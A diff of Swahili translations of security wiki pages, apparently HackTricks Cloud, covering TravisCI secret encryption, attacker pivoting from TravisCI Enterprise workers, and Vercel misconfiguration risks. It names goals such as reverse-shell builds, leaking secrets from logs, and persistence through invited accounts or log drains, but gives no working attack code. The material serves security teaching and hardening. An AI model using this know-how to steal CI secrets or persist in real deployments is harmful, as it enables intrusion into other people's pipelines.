- Ili **kuhesabu faili za siri zilizowekwa**, unaweza kuangalia kwa **faili za `.enc`** kwenye repo, kwa mistari inayofanana na `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` kwenye faili ya usanidi, au kwa **iv na funguo zilizowekwa** katika **Mabadiliko ya Mazingira** kama:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Mfano wa ujenzi ukiwa na reverse shell ikifanya kazi kwenye Windows/Mac/Linux
|
||||
- Mfano wa ujenzi ukivuja mabadiliko ya mazingira yaliyofichwa kwa base64 kwenye kumbukumbu
|
||||
- Mfano wa ujenzi ukiwa na shell ya nyuma ikifanya kazi kwenye Windows/Mac/Linux
|
||||
- Mfano wa ujenzi ukivuja mabadiliko ya mazingira yaliyowekwa kwa base64 kwenye kumbukumbu
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
Ikiwa mshambuliaji atakutana na mazingira yanayotumia **TravisCI enterprise** (maelezo zaidi kuhusu hii kwenye [**basic information**](basic-travisci-information.md#travisci-enterprise)), ataweza **kuanzisha ujenzi kwenye Worker.** Hii inamaanisha kwamba mshambuliaji ataweza kuhamasisha kwa upande wa server hiyo kutoka ambayo anaweza:
|
||||
Ikiwa mshambuliaji atakutana na mazingira yanayotumia **TravisCI enterprise** (maelezo zaidi kuhusu hii kwenye [**taarifa za msingi**](basic-travisci-information.md#travisci-enterprise)), atakuwa na uwezo wa **kuanzisha ujenzi kwenye Mfanyakazi.** Hii inamaanisha kwamba mshambuliaji ataweza kuhamasisha kwa upande wa server hiyo kutoka ambayo anaweza:
|
||||
|
||||
- kutoroka kwa mwenyeji?
|
||||
- kuathiri kubernetes?
|
||||
- kuathiri mashine nyingine zinazofanya kazi kwenye mtandao huo huo?
|
||||
- kuathiri mashine nyingine zinazofanya kazi kwenye mtandao huo?
|
||||
- kuathiri akreditivu mpya za wingu?
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Basic TravisCI Information
|
||||
# Msingi wa Taarifa za TravisCI
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Ufikiaji
|
||||
|
||||
TravisCI moja kwa moja inajumuisha na majukwaa tofauti ya git kama Github, Bitbucket, Assembla, na Gitlab. Itamuuliza mtumiaji kutoa ruhusa kwa TravisCI kuweza kufikia repos anazotaka kuunganisha na TravisCI.
|
||||
TravisCI inaunganishwa moja kwa moja na majukwaa tofauti ya git kama Github, Bitbucket, Assembla, na Gitlab. Itamuuliza mtumiaji kutoa ruhusa kwa TravisCI kufikia repos anazotaka kuunganisha na TravisCI.
|
||||
|
||||
Kwa mfano, katika Github itahitaji ruhusa zifuatazo:
|
||||
|
||||
@@ -12,34 +12,34 @@ Kwa mfano, katika Github itahitaji ruhusa zifuatazo:
|
||||
- `read:org` (kusoma tu)
|
||||
- `repo`: Inatoa ruhusa ya kusoma na kuandika kwa msimbo, hali za kujitolea, washirikishi, na hali za kutekeleza kwa hazina za umma na za kibinafsi na mashirika.
|
||||
|
||||
## Encrypted Secrets
|
||||
## Siri Zilizofichwa
|
||||
|
||||
### Environment Variables
|
||||
### Mabadiliko ya Mazingira
|
||||
|
||||
Katika TravisCI, kama ilivyo katika majukwaa mengine ya CI, inawezekana **kuhifadhi siri kwenye kiwango cha repo** ambazo zitahifadhiwa kwa njia ya siri na **kuondolewa na kusukumwa kwenye mabadiliko ya mazingira** ya mashine inayotekeleza ujenzi.
|
||||
Katika TravisCI, kama katika majukwaa mengine ya CI, inawezekana **kuhifadhi siri kwenye kiwango cha repo** ambazo zitahifadhiwa kwa njia ya usimbaji na **kufichuliwa na kusukumwa katika mabadiliko ya mazingira** ya mashine inayotekeleza ujenzi.
|
||||
|
||||
.png>)
|
||||
|
||||
Inawezekana kuashiria **matawi ambayo siri zitapatikana** (kwa kawaida yote) na pia kama TravisCI **inapaswa kuficha thamani yake** ikiwa itaonekana **katika kumbukumbu** (kwa kawaida itafanya hivyo).
|
||||
|
||||
### Custom Encrypted Secrets
|
||||
### Siri Zilizofichwa za Kijadi
|
||||
|
||||
Kwa **kila repo** TravisCI inazalisha **RSA keypair**, **inaweka** ile **binafsi**, na inafanya **funguo za umma za hazina** kupatikana kwa wale walio na **ufikiaji** wa hazina hiyo.
|
||||
Kwa **kila repo** TravisCI inazalisha **RSA keypair**, **inaweka** ile **binafsi**, na inafanya **funguo ya umma** ya hazina ipatikane kwa wale walio na **ufikiaji** wa hazina hiyo.
|
||||
|
||||
Unaweza kufikia funguo za umma za repo moja kwa:
|
||||
Unaweza kufikia funguo ya umma ya repo moja kwa:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
Kisha, unaweza kutumia mipangilio hii **kuweka siri na kuziongeza kwenye `.travis.yaml`**. Siri zitakuwa **zinatolewa wakati ujenzi unafanywa** na zinapatikana katika **mabadiliko ya mazingira**.
|
||||
Kisha, unaweza kutumia mpangilio huu **kuandika siri na kuziweka kwenye `.travis.yaml`**. Siri zitakuwa **zimefichuliwa wakati ujenzi unapoendeshwa** na zinapatikana katika **mabadiliko ya mazingira**.
|
||||
|
||||
.png>)
|
||||
|
||||
Kumbuka kwamba siri zilizowekwa kwa njia hii hazitaonekana kwenye orodha ya mabadiliko ya mazingira ya mipangilio.
|
||||
Kumbuka kwamba siri zilizofichwa kwa njia hii hazitaonekana kwenye orodha ya mabadiliko ya mazingira ya mipangilio.
|
||||
|
||||
### Faili za Kijalala Zilizowekwa
|
||||
### Faili za Kificho za Kawaida
|
||||
|
||||
Kwa njia ile ile kama hapo awali, TravisCI pia inaruhusu **kuweka faili na kisha kuzitoa wakati wa ujenzi**:
|
||||
Kwa njia ile ile kama hapo awali, TravisCI pia inaruhusu **kuficha faili na kisha kuzifichua wakati wa ujenzi**:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -57,31 +57,31 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
Kumbuka kwamba unapofanya usimbaji wa faili, Variables 2 za Env zitawekwa ndani ya repo kama:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise ni **toleo la ndani la Travis CI**, ambalo unaweza kupeleka **katika miundombinu yako**. Fikiria kuhusu toleo la 'server' la Travis CI. Kutumia Travis CI kunakuwezesha kuwezesha mfumo rahisi wa Kuendelea Kuunganisha/Kuendelea Kuweka (CI/CD) katika mazingira, ambayo unaweza kuunda na kulinda kama unavyotaka.
|
||||
Travis CI Enterprise ni **toleo la ndani la Travis CI**, ambalo unaweza kupeleka **katika miundombinu yako**. Fikiria kuhusu toleo la 'server' la Travis CI. Kutumia Travis CI kunakuwezesha kuwezesha mfumo rahisi wa Kuunganisha Endelevu/Kupeleka Endelevu (CI/CD) katika mazingira, ambayo unaweza kuunda na kulinda kama unavyotaka.
|
||||
|
||||
**Travis CI Enterprise ina sehemu mbili kuu:**
|
||||
|
||||
1. TCI **huduma** (au TCI Core Services), inayohusika na kuunganishwa na mifumo ya kudhibiti toleo, kuidhinisha ujenzi, kupanga kazi za ujenzi, nk.
|
||||
1. TCI **huduma** (au TCI Core Services), zinazohusika na kuunganishwa na mifumo ya kudhibiti toleo, kuidhinisha ujenzi, kupanga kazi za ujenzi, nk.
|
||||
2. TCI **Worker** na picha za mazingira ya ujenzi (pia huitwa picha za OS).
|
||||
|
||||
**Huduma za TCI Core zinahitaji yafuatayo:**
|
||||
|
||||
1. Hifadhidata ya **PostgreSQL11** (au baadaye).
|
||||
2. Miundombinu ya kupeleka klasta ya Kubernetes; inaweza kupelekwa katika klasta ya seva au katika mashine moja ikiwa inahitajika.
|
||||
3. Kulingana na mipangilio yako, unaweza kutaka kupeleka na kuunda baadhi ya vipengele mwenyewe, mfano, RabbitMQ - angalia [Kuweka Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) kwa maelezo zaidi.
|
||||
2. Miundombinu ya kupeleka kundi la Kubernetes; inaweza kupelekwa katika kundi la seva au katika mashine moja ikiwa inahitajika.
|
||||
3. Kulingana na mipangilio yako, unaweza kutaka kupeleka na kuunda mipangilio ya baadhi ya vipengele mwenyewe, e.g., RabbitMQ - angalia [Kuweka Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) kwa maelezo zaidi.
|
||||
|
||||
**Worker wa TCI unahitaji yafuatayo:**
|
||||
**TCI Worker inahitaji yafuatayo:**
|
||||
|
||||
1. Miundombinu ambapo picha ya docker inayojumuisha **Worker na picha ya ujenzi iliyounganishwa inaweza kupelekwa**.
|
||||
2. Uunganisho kwa baadhi ya vipengele vya Huduma za Msingi za Travis CI - angalia [Kuweka Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) kwa maelezo zaidi.
|
||||
2. Uunganisho kwa baadhi ya vipengele vya Travis CI Core Services - angalia [Kuweka Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) kwa maelezo zaidi.
|
||||
|
||||
Kiasi cha picha za OS za TCI Worker na mazingira ya ujenzi zilizopelekwa kitaamua uwezo wa jumla wa sambamba wa kupeleka Travis CI Enterprise katika miundombinu yako.
|
||||
Kiasi cha TCI Worker na picha za mazingira ya ujenzi zilizopelekwa kitaamua uwezo wa jumla wa sambamba wa kupeleka Travis CI Enterprise katika miundombinu yako.
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@@ -27,34 +27,34 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
### Domains
|
||||
|
||||
**Purpose:** Kusimamia maeneo maalum, mipangilio ya DNS, na mipangilio ya SSL.
|
||||
**Purpose:** Kusimamia majina ya kikoa maalum, mipangilio ya DNS, na mipangilio ya SSL.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Rekodi za DNS zisizo sahihi (A, CNAME) zinazoelekeza kwenye seva za uhalifu.
|
||||
- **Risk:** Hijacking ya domain, kukamata trafiki, na mashambulizi ya phishing.
|
||||
- **Risk:** Hijacking ya kikoa, kukamata trafiki, na mashambulizi ya phishing.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Kutumia vyeti dhaifu au vilivyokwisha muda.
|
||||
- **Misconfiguration:** Kutumia vyeti dhaifu au vilivyokwisha muda wa SSL/TLS.
|
||||
- **Risk:** Kuwa hatarini kwa mashambulizi ya mtu katikati (MITM), kuathiri uaminifu wa data na faragha.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Kukosa kuwezesha DNSSEC au mipangilio isiyo sahihi ya DNSSEC.
|
||||
- **Risk:** Kuongezeka kwa uwezekano wa DNS spoofing na mashambulizi ya cache poisoning.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Kubadilisha mazingira yanayotumika na domain katika uzalishaji.
|
||||
- **Risk:** Kuonyesha siri au kazi zinazoweza kuwa hazipatikani katika uzalishaji.
|
||||
- **Misconfiguration:** Kubadilisha mazingira yanayotumika na kikoa katika uzalishaji.
|
||||
- **Risk:** Kufichua siri au kazi zinazoweza kuwa hazipatikani katika uzalishaji.
|
||||
|
||||
---
|
||||
|
||||
### Environments
|
||||
|
||||
**Purpose:** Mwelekeo wa mazingira tofauti (Development, Preview, Production) na mipangilio maalum na vigezo.
|
||||
**Purpose:** Muelekeo wa mazingira tofauti (Development, Preview, Production) na mipangilio na vigezo maalum.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Kushiriki vigezo vya mazingira kati ya mazingira.
|
||||
- **Risk:** Kuvuja kwa siri za uzalishaji katika mazingira ya maendeleo au mapitio, kuongezeka kwa uwezekano wa kufichuliwa.
|
||||
- **Risk:** Kuenea kwa siri za uzalishaji katika mazingira ya maendeleo au mapitio, kuongezeka kwa kufichuliwa.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Kuruhusu ufikiaji mpana kwa mazingira ya uzalishaji.
|
||||
- **Risk:** Mabadiliko yasiyoidhinishwa au ufikiaji wa maombi ya moja kwa moja, kupelekea uwezekano wa kushindwa au uvunjaji wa data.
|
||||
@@ -68,8 +68,8 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Kuongeza alama ya `NEXT_PUBLIC_` kwa vigezo nyeti, na kuifanya ipatikane upande wa mteja.
|
||||
- **Risk:** Kuonyeshwa kwa funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data.
|
||||
- **Misconfiguration:** Kuongeza awali kwa vigezo nyeti kwa `NEXT_PUBLIC_`, na kuifanya iweze kupatikana upande wa mteja.
|
||||
- **Risk:** Kufichua funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa.
|
||||
- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti.
|
||||
@@ -99,7 +99,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Kuunganisha na huduma za upande wa tatu zisizoaminika au zisizo salama.
|
||||
- **Risk:** Kuanzisha udhaifu, kuvuja kwa data, au milango ya nyuma kupitia uunganisho ulioathirika.
|
||||
- **Risk:** Kuanzisha udhaifu, uvujaji wa data, au milango ya nyuma kupitia uunganisho ulioathirika.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Kutoa ruhusa nyingi kwa huduma zilizounganishwa.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa rasilimali za mradi, urekebishaji wa data, au usumbufu wa huduma.
|
||||
@@ -111,19 +111,19 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
### Deployment Protection
|
||||
|
||||
**Purpose:** Kulinda kutekeleza kupitia mitambo mbalimbali ya ulinzi, kudhibiti nani anaweza kufikia na kutekeleza kwenye mazingira yako.
|
||||
**Purpose:** Kulinda kutekeleza kupitia mitambo mbalimbali ya ulinzi, kudhibiti nani anaweza kufikia na kutekeleza katika mazingira yako.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Vercel Authentication**
|
||||
|
||||
- **Misconfiguration:** Kuondoa uthibitisho au kutotekeleza ukaguzi wa wanachama wa timu.
|
||||
- **Misconfiguration:** Kuzima uthibitisho au kutotekeleza ukaguzi wa wanachama wa timu.
|
||||
- **Risk:** Watumiaji wasioidhinishwa wanaweza kufikia kutekeleza, kupelekea uvunjaji wa data au matumizi mabaya ya application.
|
||||
|
||||
**Protection Bypass for Automation**
|
||||
|
||||
- **Misconfiguration:** Kuonyesha siri ya bypass hadharani au kutumia siri dhaifu.
|
||||
- **Risk:** Wavamizi wanaweza kupita ulinzi wa kutekeleza, wakipata na kubadilisha kutekeleza kulindwa.
|
||||
- **Misconfiguration:** Kufichua siri ya bypass hadharani au kutumia siri dhaifu.
|
||||
- **Risk:** Wavamizi wanaweza kupita ulinzi wa kutekeleza, kufikia na kubadilisha kutekeleza kulindwa.
|
||||
|
||||
**Shareable Links**
|
||||
|
||||
@@ -138,13 +138,13 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
**Password Protection**
|
||||
|
||||
- **Misconfiguration:** Kutumia nywila dhaifu au kuzishiriki kwa njia isiyo salama.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza ikiwa nywila zitakisiwa au kuvuja.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza ikiwa nywila zitakisiwa au kufichuliwa.
|
||||
- **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi.
|
||||
|
||||
**Deployment Protection Exceptions**
|
||||
|
||||
- **Misconfiguration:** Kuongeza maeneo ya uzalishaji au nyeti kwenye orodha ya visingizio bila kukusudia.
|
||||
- **Risk:** Kuonyesha kutekeleza muhimu kwa umma, kupelekea kuvuja kwa data au ufikiaji usioidhinishwa.
|
||||
- **Misconfiguration:** Kuongeza kikoa cha uzalishaji au nyeti kwenye orodha ya visingizio bila kukusudia.
|
||||
- **Risk:** Kufichua kutekeleza muhimu kwa umma, kupelekea uvujaji wa data au ufikiaji usioidhinishwa.
|
||||
- **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi.
|
||||
|
||||
**Trusted IPs**
|
||||
@@ -185,7 +185,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** Inaruhusu kuzima kazi za cron zilizotangazwa ndani ya msimbo
|
||||
- **Risk:** Ukatishaji wa huduma (kutegemea ni nini kazi za cron zilikuwa zikitumika)
|
||||
- **Risk:** Ukatishaji wa huduma (kutegemea kazi za cron zilikuwa na kusudi gani)
|
||||
|
||||
---
|
||||
|
||||
@@ -207,18 +207,18 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
**Build Logs and Source Protection**
|
||||
|
||||
- **Misconfiguration:** Kuondoa ulinzi au kuonyesha njia za `/logs` na `/src` hadharani.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa kumbukumbu za kujenga na msimbo wa chanzo, kupelekea kuvuja kwa taarifa na uwezekano wa kutumia udhaifu.
|
||||
- **Misconfiguration:** Kuzima ulinzi au kufichua njia za `/logs` na `/src` hadharani.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa kumbukumbu za kujenga na msimbo wa chanzo, kupelekea uvujaji wa taarifa na uwezekano wa kutumia udhaifu.
|
||||
|
||||
**Git Fork Protection**
|
||||
|
||||
- **Misconfiguration:** Kuruhusu ombi zisizoidhinishwa bila ukaguzi sahihi.
|
||||
- **Misconfiguration:** Kuruhusu ombi la kuvuta lisiloidhinishwa bila ukaguzi sahihi.
|
||||
- **Risk:** Msimbo mbaya unaweza kuunganishwa kwenye msingi wa msimbo, kuanzisha udhaifu au milango ya nyuma.
|
||||
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
|
||||
- **Misconfiguration:** Kuweka vibaya vigezo vya OIDC au kutumia URL zisizo salama za mtoaji.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa huduma za nyuma kupitia mchakato wa uthibitisho ulio na kasoro.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa huduma za nyuma kupitia mchakato wa uthibitishaji ulio na kasoro.
|
||||
|
||||
**Deployment Retention Policy**
|
||||
|
||||
@@ -227,7 +227,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
**Recently Deleted Deployments**
|
||||
|
||||
- **Misconfiguration:** Kukosa kufuatilia kutekeleza zilizofutwa au kutegemea tu kufutwa kwa kiotomatiki.
|
||||
- **Misconfiguration:** Kutokufuatilia kutekeleza zilizofutwa au kutegemea tu kufutwa kwa kiotomatiki.
|
||||
- **Risk:** Kupoteza historia muhimu ya kutekeleza, kuzuia ukaguzi na kurudi nyuma.
|
||||
|
||||
---
|
||||
@@ -240,8 +240,8 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
**Directory Listing**
|
||||
|
||||
- **Misconfiguration:** Kuwezesha orodha ya orodha kunaruhusu watumiaji kuona maudhui ya orodha bila faili ya index.
|
||||
- **Risk:** Kuonyeshwa kwa faili nyeti, muundo wa application, na maeneo yanayoweza kuwa na hatari kwa mashambulizi.
|
||||
- **Misconfiguration:** Kuwezesha orodha ya saraka kunaruhusu watumiaji kuona maudhui ya saraka bila faili ya index.
|
||||
- **Risk:** Kufichua faili nyeti, muundo wa application, na maeneo yanayoweza kuwa na hatari kwa mashambulizi.
|
||||
|
||||
---
|
||||
|
||||
@@ -272,8 +272,8 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
### Skew Protection
|
||||
|
||||
- **Misconfiguration:** Ulinzi huu unahakikisha mteja na application ya seva kila wakati wanatumia toleo sawa ili kusiwe na kutokuelewana ambapo mteja anatumia toleo tofauti na seva na hivyo hawaelewani.
|
||||
- **Risk:** Kuondoa hii (ikiwa imewezeshwa) kunaweza kusababisha matatizo ya DoS katika kutekeleza mpya siku zijazo
|
||||
- **Misconfiguration:** Ulinzi huu unahakikisha kwamba application ya mteja na seva kila wakati inatumia toleo sawa ili kusiwe na kutokuelewana ambapo mteja anatumia toleo tofauti na seva na hivyo hawaelewani.
|
||||
- **Risk:** Kuzima hii (ikiwa imewezeshwa) kunaweza kusababisha matatizo ya DoS katika kutekeleza mpya siku zijazo
|
||||
|
||||
---
|
||||
|
||||
@@ -307,7 +307,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
#### Security Configurations:
|
||||
|
||||
- **Add members**
|
||||
- **Misconfiguration:** Mshambuliaji anaweza kudumisha kudumu kwa kumwalika akaunti anayoitawala
|
||||
- **Misconfiguration:** Mshambuliaji anaweza kudumisha kudumu kwa kumwalika akaunti anayoidhibiti
|
||||
- **Risk:** Kudumu kwa mshambuliaji
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Kutoa ruhusa nyingi kwa watu wasiohitaji huongeza hatari ya usanidi wa vercel. Angalia majukumu yote yanayowezekana katika [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
@@ -321,11 +321,11 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
**Potential Misconfigurations:**
|
||||
|
||||
- **Over-Permissioning Members:** Kuweka majukumu yenye ruhusa zaidi ya zinazohitajika, kupelekea ufikiaji au vitendo visivyoidhinishwa.
|
||||
- **Improper Role Assignments:** Kuweka vibaya majukumu ambavyo havikidhi majukumu ya wanachama wa timu, kupelekea kupanda kwa ruhusa.
|
||||
- **Over-Permissioning Members:** Kutoa majukumu yenye ruhusa zaidi ya zinazohitajika, kupelekea ufikiaji au vitendo visivyoidhinishwa.
|
||||
- **Improper Role Assignments:** Kutoa majukumu yasiyo sahihi ambayo hayakidhi majukumu ya wanachama wa timu, kupelekea kupanda kwa ruhusa.
|
||||
- **Lack of Project Segregation:** Kukosa kutenganisha miradi nyeti, kuruhusu ufikiaji mpana zaidi kuliko ilivyokusudiwa.
|
||||
- **Insufficient Group Management:** Kukosa kukagua au kuboresha Vikundi vya Ufikiaji mara kwa mara, kupelekea ruhusa za ufikiaji zisizofaa au za zamani.
|
||||
- **Inconsistent Role Definitions:** Kutumia ufafanuzi wa majukumu usio sawa au usio wazi kati ya Vikundi vya Ufikiaji tofauti, kupelekea mkanganyiko na mapengo ya usalama.
|
||||
- **Insufficient Group Management:** Kutokufanya ukaguzi au kusasisha Access Groups mara kwa mara, kupelekea ruhusa za ufikiaji zisizofaa au za zamani.
|
||||
- **Inconsistent Role Definitions:** Kutumia ufafanuzi wa majukumu usio sawa au usio wazi kati ya Access Groups tofauti, kupelekea mkanganyiko na mapengo ya usalama.
|
||||
|
||||
---
|
||||
|
||||
@@ -334,7 +334,7 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
#### Security Configurations:
|
||||
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** Mshambuliaji anaweza kuunda Log Drain kuiba kumbukumbu
|
||||
- **Misconfiguration:** Mshambuliaji anaweza kuunda Log Drain ili kuiba kumbukumbu
|
||||
- **Risk:** Kudumu kwa sehemu
|
||||
|
||||
---
|
||||
@@ -343,38 +343,38 @@ Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwen
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Team Email Domain:** Wakati umewekwa, mipangilio hii inawakaribisha moja kwa moja Akaunti za Kibinafsi za Vercel zenye anwani za barua pepe zinazomalizika na domain iliyotajwa (kwa mfano, `mydomain.com`) kujiunga na timu yako wakati wa kujiandikisha na kwenye dashibodi.
|
||||
- **Team Email Domain:** Wakati imewekwa, mipangilio hii inawakaribisha moja kwa moja Akaunti za Kibinafsi za Vercel zenye anwani za barua pepe zinazomalizika na kikoa kilichotajwa (kwa mfano, `mydomain.com`) kujiunga na timu yako wakati wa kujiandikisha na kwenye dashibodi.
|
||||
- **Misconfiguration:** 
|
||||
- Kuweka domain ya barua pepe isiyo sahihi au domain iliyoandikwa vibaya katika mipangilio ya Team Email Domain.
|
||||
- Kutumia domain ya barua pepe ya kawaida (kwa mfano, `gmail.com`, `hotmail.com`) badala ya domain maalum ya kampuni.
|
||||
- Kuweka kikoa kibaya cha barua pepe au kikoa kilichokosewa katika mipangilio ya Team Email Domain.
|
||||
- Kutumia kikoa cha barua pepe cha kawaida (kwa mfano, `gmail.com`, `hotmail.com`) badala ya kikoa maalum cha kampuni.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Watumiaji wenye anwani za barua pepe kutoka domain zisizokusudiwa wanaweza kupokea mialiko ya kujiunga na timu yako.
|
||||
- **Unauthorized Access:** Watumiaji wenye anwani za barua pepe kutoka kikoa kisichokusudiwa wanaweza kupokea mialiko ya kujiunga na timu yako.
|
||||
- **Data Exposure:** Uwezekano wa kufichuliwa kwa taarifa nyeti za mradi kwa watu wasioidhinishwa.
|
||||
- **Protected Git Scopes:** Inaruhusu kuongeza hadi 5 Git scopes kwa timu yako ili kuzuia timu nyingine za Vercel kutekeleza repositories kutoka kwenye scope iliyo salama. Timu nyingi zinaweza kuweka scope sawa, kuruhusu timu zote kupata ufikiaji.
|
||||
- **Misconfiguration:** Kukosa kuongeza Git scopes muhimu kwenye orodha ya iliyo salama.
|
||||
- **Protected Git Scopes:** Inaruhusu kuongeza hadi 5 Git scopes kwa timu yako ili kuzuia timu nyingine za Vercel kutekeleza hifadhi kutoka kwenye scope iliyo salama. Timu nyingi zinaweza kuweka scope sawa, kuruhusu timu zote mbili kupata ufikiaji.
|
||||
- **Misconfiguration:** Kutokuweka Git scopes muhimu kwenye orodha ya iliyo salama.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Timu nyingine zinaweza kutekeleza repositories kutoka kwenye Git scopes za shirika lako bila ruhusa.
|
||||
- **Unauthorized Deployments:** Timu nyingine zinaweza kutekeleza hifadhi kutoka kwenye Git scopes za shirika lako bila idhini.
|
||||
- **Intellectual Property Exposure:** Msimbo wa miliki unaweza kutekelezwa na kupatikana nje ya timu yako.
|
||||
- **Environment Variable Policies:** Inalazimisha sera za kuunda na kuhariri vigezo vya mazingira vya timu. Kwa haswa, unaweza kulazimisha kwamba vigezo vyote vya mazingira vimeundwa kama **Sensitive Environment Variables**, ambavyo vinaweza kufichuliwa tu na mfumo wa kutekeleza wa Vercel.
|
||||
- **Misconfiguration:** Kuacha kulazimisha vigezo vya mazingira nyeti kuwa kuzimwa.
|
||||
- **Environment Variable Policies:** Inalazimisha sera za kuunda na kuhariri vigezo vya mazingira vya timu. Kwa haswa, unaweza kulazimisha kwamba vigezo vyote vya mazingira vianzishwe kama **Sensitive Environment Variables**, ambavyo vinaweza kufichuliwa tu na mfumo wa kutekeleza wa Vercel.
|
||||
- **Misconfiguration:** Kuacha kulazimisha vigezo vya mazingira nyeti kuwa kuzima.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Vigezo vya mazingira vinaweza kuonyeshwa au kuhaririwa na wanachama wasioidhinishwa wa timu.
|
||||
- **Data Breach:** Taarifa nyeti kama funguo za API na akidi zinaweza kuvuja.
|
||||
- **Exposure of Secrets:** Vigezo vya mazingira vinaweza kuonekana au kuhaririwa na wanachama wasioidhinishwa wa timu.
|
||||
- **Data Breach:** Taarifa nyeti kama funguo za API na akidi zinaweza kufichuliwa.
|
||||
- **Audit Log:** Inatoa usafirishaji wa shughuli za timu kwa hadi siku 90 zilizopita. Kumbukumbu za ukaguzi husaidia katika kufuatilia na kufuatilia vitendo vilivyofanywa na wanachama wa timu.
|
||||
- **Misconfiguration:**\
|
||||
Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Kuonyeshwa kwa shughuli na data nyeti za watumiaji.
|
||||
